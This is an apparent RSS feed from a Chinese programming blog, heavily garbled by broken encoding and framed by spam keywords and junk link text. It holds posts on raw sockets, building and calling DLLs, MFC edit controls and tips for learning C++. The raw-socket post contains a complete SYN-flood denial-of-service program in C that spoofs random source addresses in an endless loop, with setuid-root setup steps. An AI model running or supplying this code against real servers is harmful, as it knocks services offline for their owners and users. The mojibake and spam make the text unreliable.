??xml version="1.0" encoding="utf-8" standalone="yes"?>曰曰摸天天摸人人看久久久,国产精品中文久久久久久久,久久精品成人国产午夜 http://www.shnenglu.com/lshlc/zh-cn Sat, 28 Jun 2025 16:31:28 GMT Sat, 28 Jun 2025 16:31:28 GMT 60 原始套接?/title> http://www.shnenglu.com/lshlc/archive/2009/04/26/81139.html梁少?/dc:creator>梁少?/author>Sun, 26 Apr 2009 10:24:00 GMT http://www.shnenglu.com/lshlc/archive/2009/04/26/81139.html http://www.shnenglu.com/lshlc/comments/81139.html http://www.shnenglu.com/lshlc/archive/2009/04/26/81139.html#Feedback 1 http://www.shnenglu.com/lshlc/comments/commentRss/81139.html http://www.shnenglu.com/lshlc/services/trackbacks/81139.html 原始套接? 我们在前面已l学?fn)过了(jin)网l程序的两种套接?SOCK_STREAM,SOCK_DRAGM).在这一?里面我们一h学习(fn)另外一U套接字--原始套接?SOCK_RAW). 应用原始套接?我们可以~写出由TCP和UDP套接字不能够实现的功? 注意原始套接字只能够由有root权限的h创徏. 10.1 原始套接字的创徏 int sockfd(AF_INET,SOCK_RAW,protocol) 可以创徏一个原始套接字.Ҏ(gu)协议的类型不同我们可以创Z同类型的原始套接?比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP{等.详细的情冉|? 下面我们以一个实例来说明原始套接字的创徏和? 10.2 一个原始套接字的实? q记得DOS是什么意思吗?在这里我们就一h~写一个实现DOS的小E序. 下面是程序的源代? /******************** DOS.c *****************/ #include #include #include #include #include #include #include #include #include #define DESTPORT 80 /* 要攻ȝ端口(WEB) */ #define LOCALPORT 8888 void send_tcp(int sockfd,struct sockaddr_in *addr); unsigned short check_sum(unsigned short *addr,int len); int main(int argc,char **argv) { int sockfd; struct sockaddr_in addr; struct hostent *host; int on=1; if(argc!=2) { fprintf(stderr,"Usage:%s hostname\n\a",argv[0]); exit(1); } bzero(&addr,sizeof(struct sockaddr_in)); addr.sin_family=AF_INET; addr.sin_port=htons(DESTPORT); if(inet_aton(argv[1],&addr.sin_addr)==0) { host=gethostbyname(argv[1]); if(host==NULL) { fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); exit(1); } addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); } /**** 使用IPPROTO_TCP创徏一个TCP的原始套接字 ****/ sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); if(sockfd<0) { fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); exit(1); } /******** 讄IP数据包格?告诉pȝ内核模块IP数据包由我们自己来填?nbsp; ***/ setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); /**** 没有办法,只用护用h可以使用原始套接?nbsp; *********/ setuid(getpid()); /********* 发送炸弹了(jin)!!!! ****/ send_tcp(sockfd,&addr); } /******* 发送炸弹的实现 *********/ void send_tcp(int sockfd,struct sockaddr_in *addr) { char buffer[100]; /**** 用来攄我们的数据包 ****/ struct ip *ip; struct tcphdr *tcp; int head_len; /******* 我们的数据包实际上没有Q何内?所以长度就是两个结构的长度 ***/ head_len=sizeof(struct ip)+sizeof(struct tcphdr); bzero(buffer,100); /******** 填充IP数据包的头部,q记得IP的头格式? ******/ ip=(struct ip *)buffer; ip->ip_v=IPVERSION; /** 版本一般的?4 **/ ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/ ip->ip_tos=0; /** 服务cd **/ ip->ip_len=htons(head_len); /** IP数据包的长度 **/ ip->ip_id=0; /** 让系l去填写?nbsp; **/ ip->ip_off=0; /** 和上面一?省点旉 **/ ip->ip_ttl=MAXTTL; /** 最长的旉 255 **/ ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP?nbsp; **/ ip->ip_sum=0; /** 校验和让pȝd **/ ip->ip_dst=addr->sin_addr; /** 我们d的对?nbsp; **/ /******* 开始填写TCP数据?nbsp; *****/ tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); tcp->source=htons(LOCALPORT); tcp->dest=addr->sin_port; /** 目的端口 **/ tcp->seq=random(); tcp->ack_seq=0; tcp->doff=5; tcp->syn=1; /** 我要建立q接 **/ tcp->check=0; /** 好了(jin),一切都准备好了(jin).服务?你准备好?jin)没?? ^_^ **/ while(1) { /** 你不知道我是从那里来?慢慢的去{吧! **/ ip->ip_src.s_addr=random(); /** 什么都让系l做?也没有多大的意?q是让我们自己来校验头部?*/ /** 下面q条可有可无 */ tcp->check=check_sum((unsigned short *)tcp, sizeof(struct tcphdr)); sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); } } /* 下面是首部校验和的算?偷了(jin)别h?*/ unsigned short check_sum(unsigned short *addr,int len) { register int nleft=len; register int sum=0; register short *w=addr; short answer=0; while(nleft>1) { sum+=*w++; nleft-=2; } if(nleft==1) { *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer); } ~译一?拿localhost做一下实?看看有什么结?(千万不要试别人的?. Z(jin)让普通用户可以运行这个程?我们应该这个程序的所有者变?sh)root,?讄setuid? [root@hoyt /root]#chown root DOS [root@hoyt /root]#chmod +s DOS 10.3 ȝ 原始套接字和一般的套接字不同的是以前许多由pȝ做的事情,现在要由我们自己来做? 不过q里面是不是有很多的乐趣? 当我们创Z(jin)一个TCP套接字的时?我们只是负责把我们要发送的内容(buffer)传递给?jin)系l? pȝ在收到我们的数据?回自动的调用相应的模块给数据加上TCP头部,然后加上IP头部. 再发送出?而现在是我们自己创徏各个的头?pȝ只是把它们发送出? 在上面的实例?׃我们要修Ҏ(gu)们的源IP地址,所以我们用了(jin)setsockopt函数,如果我们只是修改TCP数据,那么IP数据一样也可以ql来创徏?
]]>dll的用方?/title> http://www.shnenglu.com/lshlc/archive/2009/04/12/79668.html梁少?/dc:creator>梁少?/author>Sun, 12 Apr 2009 03:32:00 GMT http://www.shnenglu.com/lshlc/archive/2009/04/12/79668.html http://www.shnenglu.com/lshlc/comments/79668.html http://www.shnenglu.com/lshlc/archive/2009/04/12/79668.html#Feedback 0 http://www.shnenglu.com/lshlc/comments/commentRss/79668.html http://www.shnenglu.com/lshlc/services/trackbacks/79668.html 首先要徏立一个dll的资源,file->new->MFC appwizard(dll) 输入工程的名?br> 点击 FINISH 然后点击 OK 你就可以开始创Z自己的dll资源?nbsp; 我这里的DLL资源是一个图?br> INSERT -》RESOURCE -》选择BITMAP 单机IMPORT 扑և要导入的囄可以了(jin) 注意囄的后~名是 .bmp ?.ico 不能是其他格式的否则q不了(jin) 导入成功以后可以编译一下(不用q行Q?br>然后在工E文件的目录中debug文g夹中׃(x)有一?.dll ?lib的文Ӟq两个文件有用)(j) q样你自qDLL徏立成功了(jin) 接下来的d是如何把自己建立的DLL应用到自qE序中去 打开工程建立一个基于对话框的应用程序,攄一个picture(q个控g必须修改名字Q否则无法定义成员变?和一个buttonQ把picture的type讄成和你加载的囄一L(fng)格式Q比如在DLL中你导入的是一?bmp的图片,那就把type讄成bitmapQ导入的?ico的图?p|成iconQ?br> 然后是lbutton增加单机响应事g?br>代码如下Q?br> HINSTANCE hdll; //存储加蝲的动态连接库的句?br> HINSTANCE hcurrent; //保存当前句柄 以用于最后恢复到当前 hdll=::LoadLibrary("C:\\Program Files\\Microsoft Visual Studio\\MyProjects\\cbitmap\\Debug\\cbitmap.dll"); //加蝲你自己徏立的DLL q里有一个注意的地方 文g目录之间要用 \\ 否则?x)有警?br> if(hdll) //如果DLL不ؓ(f)I?br> { hcurrent=AfxGetResourceHandle(); //获取当前的句?br> AfxSetResourceHandle(hdll); //讄?nbsp;DLL的句?br> HBITMAP hbit=::LoadBitmap(hdll,MAKEINTRESOURCE(IDB_BITMAP1)); //W一个参?用的是哪个对象就要设|成相应的句?如果用的是本工程中的囄q AfxGetInstanceHandle 或者是AfxGetApp->m_Instance; W二个参数是囄的一个资源标识,要用MAKEINTRESOURCE q行转换 非常要注意的是MAKEINTRESOURCE的参?你导入的囄在DLL中用的是什么名?在这里也要用一L(fng)的名?否则׃(x)出错?br> m_pic.SetBitmap(hbit); AfxSetResourceHandle(hcurrent); //恢复到当前句?br> } AfxFreeLibrary(hdll); 释放hdll q不是代码有?jin)就可以用?jin) q需要一些准备工作,W一?制作DLL产生的lib文g导入 步骤Qproject ->add to project ->files 扑ֈ制作DLL产生的lib文gQ将其导?br> q要在工E的头文件中把制作DLL时生的和工E名相同的头文g用语?#8220;#include "xx.h"” 包含q来。这里有一个小l节要注意,׃q个头文件的目录和我们现有工E的的目录是不一L(fng) 我们可以把这个头文g直接复制到我们现有工E的目录中即可?br> q些工作做完?我们可以运行我们的工程?/p>
DLL中定义有两种函数: ---- 导出函数(exportfunction): 可以被其他模块调?br>---- 内部函数(internalfunction): 只能在DLL内部使用 ---- 创徏一个基于API的DLL.本例只定义了(jin)导出函数.
---- 1.在FILE- >NEW- >PROJECTS中选择"WIN32 Dynamic-Link Library"在Project Name中输?"a"按OK
---- 2.在FILE- >NEW- >FILES中选择C++ SOURCE FILEQ在FILE中输入a.cpp,按OK
---- 在FILE- >NEW- >FILES中选择TEXT文gQ在FILE中输入a.h,按OK
---- 在FILE- >NEW- >FILES中选择TEXT文gQ在FILE中输入a.def,按OK
---- 3.源文Ӟ(x)
file://--------------------------- file://a.cpp #include < windows > WINAPI int add(int a,int b) { return (a+b); } file://--------------------------- file://a.h WINAPI int add(int a,int b); file://--------------------------- file://a.def LIBRARY "aaa" ;指出DLL的名?br> DESCRIPTION ''aaa Windows Dynamic Link Library'' ;描述DLL的用?此句可? EXPORTS add ;导出函数的名?/p>
?调用DLL的方? ---- 1.通常我们在调用DLL时所需的DLL文g必须位于以下三个目录之一: ---- (1)Windows的系l目?\windows\system;
---- (2)DOS中path所指出的Q何目?
---- (3)E序所在的目录;
---- 同时应注意管理好你的.lib文g?h和文?
---- 2.建立一个工E?单v见可建立一个控制台应用E序.
---- 3.在工E中引入a.lib:
---- (1)如果你的a.lib攑֜VC标准的LIB文g夹中.
单击Project- >Project Settings... 在link选卡的object/library modules中加上a.lib卛_
---- (2)如果你的a.lib不是攑֜VC标准的LIB文g夹中 单击Project- >Add to Project- >files... 扑ֈa.lib文g,按OK < pre > 4.//------------------------ file://call_a.cpp #include< stdio.h > #include "c:/a/a.h" void main(void) { int c=0;
c=add(1,2); printf("1+2=%d",c); } file://本程序在VC5.0下调试通过
]]> EDIT附值的Ҏ(gu) http://www.shnenglu.com/lshlc/archive/2009/04/12/79667.html梁少?/dc:creator>梁少?/author>Sun, 12 Apr 2009 03:29:00 GMT http://www.shnenglu.com/lshlc/archive/2009/04/12/79667.html http://www.shnenglu.com/lshlc/comments/79667.html http://www.shnenglu.com/lshlc/archive/2009/04/12/79667.html#Feedback 0 http://www.shnenglu.com/lshlc/comments/commentRss/79667.html http://www.shnenglu.com/lshlc/services/trackbacks/79667.html Q?Q可以给EDIT控gdCSTRING的成员变量,然后?m_text=_T("hello");的Ş式给EDIT附?br> 但这时候你得必须在m_text=_T("hello");q句的前面加上UpdateData(TRUE);在后面加?br> UpdateData(FALSE); 其中UpdateData(TRUE);的作用是EDIT中的内容更新成员变量中, UpdateData(FALSE);的作用是成员变量的内容更新到EDIT中?br> Q?Q给EDITdCEDITcd的变量,调用其中的SETWINDOWTEXTҎ(gu)lEDIT附|但是此时注意 如果你ؓ(f)EDIT定义?jin)CSTRING的成员变量就不用UpdateData(TRUE);和UpdateData(FALSE); 因ؓ(f)你如果还l箋(hu)使用QUpdateData(TRUE);EDIT的内定w值到?jin)CSTRINGcd变量Q?br> UpdateData(FALSE);又将CSTRINGcd变量的内容又附值到?jin)EDIT中,q样SETWINDOWTEXT 函数没有作用了(jin)?br> Q?Q?因ؓ(f)控g也是由CWINDcL生来的,所以可以先调用GetDlgItem(参数是控件的ID)Q返回的 是CWINDcd的指针,然后用这个指针调?》SetWindowText(内容)可以给EDIT附g(jin) UpdateData(TRUE); UpdateData(FALSE);的要求和上面一栗?
]]> 学好c++50?/title> http://www.shnenglu.com/lshlc/archive/2009/03/19/77223.html梁少?/dc:creator>梁少?/author>Thu, 19 Mar 2009 12:11:00 GMT http://www.shnenglu.com/lshlc/archive/2009/03/19/77223.html http://www.shnenglu.com/lshlc/comments/77223.html http://www.shnenglu.com/lshlc/archive/2009/03/19/77223.html#Feedback 1 http://www.shnenglu.com/lshlc/comments/commentRss/77223.html http://www.shnenglu.com/lshlc/services/trackbacks/77223.html 1.把C++当成一门新的语a学习(fn)? 2.看《Thinking In C++》,不要看《C++变成ȝ》; 3.看《The C++ Programming Language》和《Inside The C++ Object Model?不要因ؓ(f)他们很难而我们自己是初学者所以就不看Q? 4.不要被VC、BCB、BC、MC、TC{词汇所qh——他们都是集成开发环境,而我们要学的是一门语aQ? 5.不要放过M一个看上去很简单的编E问题——他们往往q不那么单,或者可以引伸出很多知识点; 6.?x)用Visual C++Qƈ不说明你?x)C++Q? 7.学classq不难,template、STL、generic programming也不q如此——难的是长期坚持实践和不遗余力的博览书Q? 8.如果不是天才的话Q想学编E就不要想玩游戏——你以ؓ(f)你做C(jin)Q其实你的C++水^q没有和你通关的能力一起变高——其实可以时刻记住:(x)学C++是ؓ(f)?jin)编游戏的? 9.看Visual C++的书Q是学不?jin)C++语言的; 10.躁的hҎ(gu)_(d)(x)XX语言不行?jin),应该学YYQ——是你自׃行了(jin)吧!Q? 11.躁的hҎ(gu)问:(x)我到底该学什么;——别问,学就对了(jin)Q? 12.躁的hҎ(gu)问:(x)XX有钱途吗Q——徏议你L银行Q? 13.躁的hҎ(gu)_(d)(x)我要中文版!我英文不行!——不行?学呀Q? 14.躁的hҎ(gu)问:(x)XX和YY哪个好;——告诉你吧,都好——只要你学就行; 15.躁的h分两U:(x)a)只观望而不学的人;b)只学而不坚持的hQ? 16.把时髦的技术挂在嘴边,q(sh)如把q时的技术记在心(j)里; 17.C++不仅仅是支持面向对象的程序设计语aQ? 18.学习(fn)~程最好的Ҏ(gu)之一是阅读源代码; 19.在Q何时刻都不要认ؓ(f)自己手中的书已经_?jin)? 20.请阅诅RThe Standard C++ Bible?中文版:(x)标准C++宝典)Q掌握C++标准Q? 21.看得懂的书,请仔l看Q看不懂的书Q请着头皮看; 22.别指望看W一遍书pC和掌握什么——请看第二遍、第三遍Q? 23.L(fng)《Effective C++》和《More Effective C++》以?qing)《Exceptional C++》; 24.不要停留在集成开发环境的摇篮上,要学?x)控刉成开发环境,q要学会(x)用命令行方式处理E序Q? 25.和别Z赯论有意义的C++知识点,而不是争吵XX行不行或者YY与ZZ哪个好; 26.L(fng)《程序设计实c(din),q严格的按照其要求去做; 27.不要因ؓ(f)C和C++中有一些语法和关键字看上去相同Q就认ؓ(f)它们的意义和作用完全一P 28.C++l不是所谓的C?#8220;扩充”——如果C++一开始就起名叫Z语言Q你一定不?x)把C和Z语言联系得那么紧密; 29.请不要认为学qXX语言再改学C++?x)有什么问题——你只不q又在学一门全新的语言而已Q? 30.d?jin)《Inside The C++ Object Model》以后再来认定自己是不是已经学会(x)?jin)C++Q? 31.学习(fn)~程的秘诀是:(x)~程Q编E,再编E; 32.L(fng)意下列书c:(x)《C++面向对象高效~程QC++ Effective Object-Oriented Software ConstructionQ》《面向对象Y件构?Object-Oriented Software Construction)》《设计模式(Design PatternsQ》《The Art of Computer Programming》; 33.CQ面向对象技术不只是C++专有的; 34.h书上的程序例子亲手输入到?sh)脑上实践,即配套光盘(sh)有源代码? 35.把在书中看到的有意义的例子扩充; 36.请重视C++中的异常处理技术,q将其切实的q用到自qE序中; 37.l常回顾自己以前写过的程序,q尝试重写,把自己学到的新知识运用进去; 38.不要漏掉书中M一个练?fn)题——请全部做完q记录下解题思\Q? 39.C++语言和C++的集成开发环境要同时学习(fn)和掌握; 40.既然军_?jin)学C++,p坚持学下去,因ؓ(f)学习(fn)E序设计语言的目的是掌握E序设计技术,而程序设计技术是跨语a的; 41.pC++语言的各U^台和开发环境去Ȁ烈的竞争吧,我们要以学习(fn)C++语言本nZQ? 42.当你写C(j)++E序写到一半却发现自己用的Ҏ(gu)很拙劣时Q请不要马上停手Q请快余下的部分_略的完成以保证q个设计的完整性,然后分析自己的错误ƈ重新设计和编写(参见43Q; 43.别心(j)急,设计C++的class实不容易;自己E序中的class和自qclass设计水^是在不断的编E实践中完善和发展的Q? 44.决不要因为程?#8220;很小”׃遵@某些你不熟练的规则——好?fn)惯是培d来的Q而不是一ơ记住的Q? 45.每学C个C++隄的时候,试着对别解这个知识点q让他理解——你能讲清楚才说明你真的理解?jin)? 46.记录下在和别Z时发现的自己忽视或不理解的知识点; 47.请不断地对自己写的程序提出更高的要求,哪怕你的程序版本号?x)变成Version 100.XXQ? 48.保存好你写过的所有的E序——那是你最好的U篏之一Q? 49.请不要做躁的hQ? 50.L(fng)爱C++!
]]>
þþþ |
þþùƷһ |
Բľþþþþ |
þþƷվ |
Ʒ99þþþƷ |
Сڵþþþþ |
ƷþþþþþþþĻ |
þﶼǾƷ |
þþƷwww |
97㽶þҹɫƷ
|
ҹҹþ |
ҹӰԺþþƷѿһ
|
鶹˾þþƷ
|
ۺϾþþþþ |
žžƷþþþþ |
97þþƷҹһ |
һaƬþëƬ |
þþþƷ |
ɫۺϾþ |
þۺϾɫۺϾ99
|
ɫۺϾþ |
Ļþۺ |
鶹wwwþ |
þþƷƷëƬ |
þƷa |
ŷһƷþ |
ݺɫۺþö
|
Ʒþþþþ |
Ʒþþ㽶 |
һձþþ |
ƷþþĻ |
ŷþһ |
Ʒŷձþ |
ݺݺɫۺϾþð |
þۺϺݺۺϾþ |
һɫþHEZYO |
þþƷ |
ҰAVþһ |
þøŮ߳MBA |
ۺϾþùһ鶹 |
㽶þۺӰ |